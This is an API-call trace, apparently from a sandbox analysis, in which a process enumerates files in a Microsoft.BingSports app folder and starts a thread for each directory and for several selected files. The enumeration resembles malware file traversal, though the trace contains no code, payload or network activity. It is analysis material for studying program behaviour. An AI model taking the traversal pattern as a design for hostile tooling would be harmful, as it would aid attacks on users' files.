	[0077.693] FindNextFileW (in: hFindFile=0x2d70f80, lpFindFileData=0x2dc1a10 | out: lpFindFileData=0x2dc1a10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c35f15d, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c35f15d, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c35f15d, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xe958, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClrCompression.dll", cAlternateFileName="")) returned 1
	[0077.693] wcscmp (_String1="ClrCompression.dll", _String2=".") returned 1
	[0077.693] wcscmp (_String1="ClrCompression.dll", _String2="..") returned 1
	[0077.693] FindNextFileW (in: hFindFile=0x2d70f80, lpFindFileData=0x2dc1a10 | out: lpFindFileData=0x2dc1a10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c35f15d, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa6c41d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c35f15d, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Configuration", cAlternateFileName="CONFIG~1")) returned 1
	[0077.693] wcscmp (_String1="Configuration", _String2=".") returned 1
	[0077.693] wcscmp (_String1="Configuration", _String2="..") returned 1
	[0077.693] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xba) returned 0x476ba50
	[0077.693] wcscpy (in: _Dest=0x476ba50, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe"
	[0077.693] wcscat (in: _Dest=0x476ba50, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0077.693] wcscat (in: _Dest=0x476ba50, _Source="Configuration" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration"
	[0077.693] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x476ba50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x528
	[0077.694] FindNextFileW (in: hFindFile=0x2d70f80, lpFindFileData=0x2dc1a10 | out: lpFindFileData=0x2dc1a10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c3853b7, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c3853b7, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c3853b7, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x5ab7, dwReserved0=0x0, dwReserved1=0x0, cFileName="MarketConfiguration.xml", cAlternateFileName="")) returned 1
	[0077.694] wcscmp (_String1="MarketConfiguration.xml", _String2=".") returned 1
	[0077.694] wcscmp (_String1="MarketConfiguration.xml", _String2="..") returned 1
	[0077.694] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x2d70218
	[0077.694] wcscpy (in: _Dest=0x2d70218, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe"
	[0077.694] wcscat (in: _Dest=0x2d70218, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0077.694] wcscat (in: _Dest=0x2d70218, _Source="MarketConfiguration.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\MarketConfiguration.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\MarketConfiguration.xml"
	[0077.694] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d70218, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x524
	[0077.695] FindNextFileW (in: hFindFile=0x2d70f80, lpFindFileData=0x2dc1a10 | out: lpFindFileData=0x2dc1a10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c490576, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa6c48a4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c490576, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Advertising", cAlternateFileName="MICROS~1.ADV")) returned 1
	[0077.695] wcscmp (_String1="Microsoft.Advertising", _String2=".") returned 1
	[0077.695] wcscmp (_String1="Microsoft.Advertising", _String2="..") returned 1
	[0077.695] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xca) returned 0x2d6feb8
	[0077.695] wcscpy (in: _Dest=0x2d6feb8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe"
	[0077.695] wcscat (in: _Dest=0x2d6feb8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0077.695] wcscat (in: _Dest=0x2d6feb8, _Source="Microsoft.Advertising" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising"
	[0077.695] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d6feb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x51c
	[0077.696] FindNextFileW (in: hFindFile=0x2d70f80, lpFindFileData=0x2dc1a10 | out: lpFindFileData=0x2dc1a10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c3853b7, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c3853b7, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c46a340, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x35acb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Advertising.dll", cAlternateFileName="")) returned 1
	[0077.696] wcscmp (_String1="Microsoft.Advertising.dll", _String2=".") returned 1
	[0077.696] wcscmp (_String1="Microsoft.Advertising.dll", _String2="..") returned 1
	[0077.696] FindNextFileW (in: hFindFile=0x2d70f80, lpFindFileData=0x2dc1a10 | out: lpFindFileData=0x2dc1a10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c46a340, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c46a340, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c490576, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xa4b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Advertising.winmd", cAlternateFileName="")) returned 1
	[0077.696] wcscmp (_String1="Microsoft.Advertising.winmd", _String2=".") returned 1
	[0077.696] wcscmp (_String1="Microsoft.Advertising.winmd", _String2="..") returned 1
	[0077.696] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd6) returned 0x2e44de0
	[0077.696] wcscpy (in: _Dest=0x2e44de0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe"
	[0077.696] wcscat (in: _Dest=0x2e44de0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0077.696] wcscat (in: _Dest=0x2e44de0, _Source="Microsoft.Advertising.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising.winmd"
	[0077.697] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e44de0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x518
	[0077.697] FindNextFileW (in: hFindFile=0x2d70f80, lpFindFileData=0x2dc1a10 | out: lpFindFileData=0x2dc1a10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c490576, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c490576, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c4b67dc, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x9d800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Aria.ClientTelemetry.dll", cAlternateFileName="")) returned 1
	[0077.697] wcscmp (_String1="Microsoft.Aria.ClientTelemetry.dll", _String2=".") returned 1
	[0077.697] wcscmp (_String1="Microsoft.Aria.ClientTelemetry.dll", _String2="..") returned 1
	[0077.697] FindNextFileW (in: hFindFile=0x2d70f80, lpFindFileData=0x2dc1a10 | out: lpFindFileData=0x2dc1a10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c4dca2a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c4dca2a, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c4dca2a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Aria.ClientTelemetry.winmd", cAlternateFileName="")) returned 1
	[0077.697] wcscmp (_String1="Microsoft.Aria.ClientTelemetry.winmd", _String2=".") returned 1
	[0077.697] wcscmp (_String1="Microsoft.Aria.ClientTelemetry.winmd", _String2="..") returned 1
	[0077.697] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe8) returned 0x2e3ba20
	[0077.697] wcscpy (in: _Dest=0x2e3ba20, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe"
	[0077.698] wcscat (in: _Dest=0x2e3ba20, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0077.698] wcscat (in: _Dest=0x2e3ba20, _Source="Microsoft.Aria.ClientTelemetry.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Aria.ClientTelemetry.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Aria.ClientTelemetry.winmd"
	[0077.698] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e3ba20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x514
	[0077.698] FindNextFileW (in: hFindFile=0x2d70f80, lpFindFileData=0x2dc1a10 | out: lpFindFileData=0x2dc1a10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4dca2a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa6c5add, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c4dca2a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Msn.Services", cAlternateFileName="MICROS~1.SER")) returned 1
	[0077.698] wcscmp (_String1="Microsoft.Msn.Services", _String2=".") returned 1
	[0077.698] wcscmp (_String1="Microsoft.Msn.Services", _String2="..") returned 1
	[0077.698] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x2d6f138
	[0077.698] wcscpy (in: _Dest=0x2d6f138, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe"
	[0077.698] wcscat (in: _Dest=0x2d6f138, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0077.698] wcscat (in: _Dest=0x2d6f138, _Source="Microsoft.Msn.Services" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services"
	[0077.699] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d6f138, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x510
	[0077.699] FindNextFileW (in: hFindFile=0x2d70f80, lpFindFileData=0x2dc1a10 | out: lpFindFileData=0x2dc1a10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c502c94, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa7402e1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c502c94, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Msn.Shell", cAlternateFileName="MICROS~1.SHE")) returned 1
	[0077.699] wcscmp (_String1="Microsoft.Msn.Shell", _String2=".") returned 1
	[0077.699] wcscmp (_String1="Microsoft.Msn.Shell", _String2="..") returned 1
	[0077.699] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47ca070
	[0077.699] wcscpy (in: _Dest=0x47ca070, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe"
	[0077.699] wcscat (in: _Dest=0x47ca070, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0077.699] wcscat (in: _Dest=0x47ca070, _Source="Microsoft.Msn.Shell" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell"
	[0077.699] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47ca070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x50c
	[0077.700] FindNextFileW (in: hFindFile=0x2d70f80, lpFindFileData=0x2dc1a10 | out: lpFindFileData=0x2dc1a10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c502c94, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c502c94, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c9a1593, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xb8da00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Msn.Sports.dll", cAlternateFileName="")) returned 1
	[0077.700] wcscmp (_String1="Microsoft.Msn.Sports.dll", _String2=".") returned 1
	[0077.700] wcscmp (_String1="Microsoft.Msn.Sports.dll", _String2="..") returned 1
	[0077.700] FindNextFileW (in: hFindFile=0x2d70f80, lpFindFileData=0x2dc1a10 | out: lpFindFileData=0x2dc1a10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c9a1593, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c9a1593, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c9a1593, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Msn.Sports.exe", cAlternateFileName="")) returned 1
	[0077.700] wcscmp (_String1="Microsoft.Msn.Sports.exe", _String2=".") returned 1
	[0077.700] wcscmp (_String1="Microsoft.Msn.Sports.exe", _String2="..") returned 1
	[0077.700] FindNextFileW (in: hFindFile=0x2d70f80, lpFindFileData=0x2dc1a10 | out: lpFindFileData=0x2dc1a10*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x608775e5, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaa743364, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x608775e5, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0077.700] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0077.700] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0077.700] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x2e3bcf0
	[0077.701] wcscpy (in: _Dest=0x2e3bcf0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe"
	[0077.701] wcscat (in: _Dest=0x2e3bcf0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0077.701] wcscat (in: _Dest=0x2e3bcf0, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0077.701] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e3bcf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x508
	[0077.701] FindNextFileW (in: hFindFile=0x2d70f80, lpFindFileData=0x2dc1a10 | out: lpFindFileData=0x2dc1a10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c9a1593, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c9a1593, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c9a1593, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftAdvertising.ini", cAlternateFileName="")) returned 1
	[0077.701] wcscmp (_String1="MicrosoftAdvertising.ini", _String2=".") returned 1
	[0077.701] wcscmp (_String1="MicrosoftAdvertising.ini", _String2="..") returned 1
	[0077.701] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd0) returned 0x477d6e8
	[0077.702] wcscpy (in: _Dest=0x477d6e8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe"
	[0077.702] wcscat (in: _Dest=0x477d6e8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0077.702] wcscat (in: _Dest=0x477d6e8, _Source="MicrosoftAdvertising.ini" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\MicrosoftAdvertising.ini") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\MicrosoftAdvertising.ini"
	[0077.702] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477d6e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x500
	[0077.702] FindNextFileW (in: hFindFile=0x2d70f80, lpFindFileData=0x2dc1a10 | out: lpFindFileData=0x2dc1a10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c9a1593, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa743cf4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c9c77d0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSAdvertisingJS", cAlternateFileName="MSADVE~1")) returned 1
	[0077.702] wcscmp (_String1="MSAdvertisingJS", _String2=".") returned 1
	[0077.702] wcscmp (_String1="MSAdvertisingJS", _String2="..") returned 1
	[0077.702] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x476b8c0
	[0077.703] wcscpy (in: _Dest=0x476b8c0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe"
	[0077.703] wcscat (in: _Dest=0x476b8c0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0077.703] wcscat (in: _Dest=0x476b8c0, _Source="MSAdvertisingJS" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS"
	[0077.703] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x476b8c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4fc
	[0077.703] FindNextFileW (in: hFindFile=0x2d70f80, lpFindFileData=0x2dc1a10 | out: lpFindFileData=0x2dc1a10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c9c77d0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c9c77d0, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c9c77d0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x4413, dwReserved0=0x0, dwReserved1=0x0, cFileName="PlatformConfiguration.xml", cAlternateFileName="")) returned 1
	[0077.703] wcscmp (_String1="PlatformConfiguration.xml", _String2=".") returned 1
	[0077.703] wcscmp (_String1="PlatformConfiguration.xml", _String2="..") returned 1
	[0077.703] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x2e44ec0
	[0077.703] wcscpy (in: _Dest=0x2e44ec0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe"
	[0077.704] wcscat (in: _Dest=0x2e44ec0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0077.704] wcscat (in: _Dest=0x2e44ec0, _Source="PlatformConfiguration.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\PlatformConfiguration.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\PlatformConfiguration.xml"
	[0077.704] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e44ec0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f8
	[0077.704] FindNextFileW (in: hFindFile=0x2d70f80, lpFindFileData=0x2dc1a10 | out: lpFindFileData=0x2dc1a10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c9c77d0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c9c77d0, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c9edaa1, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x7f760, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 1
	[0077.704] wcscmp (_String1="resources.pri", _String2=".") returned 1
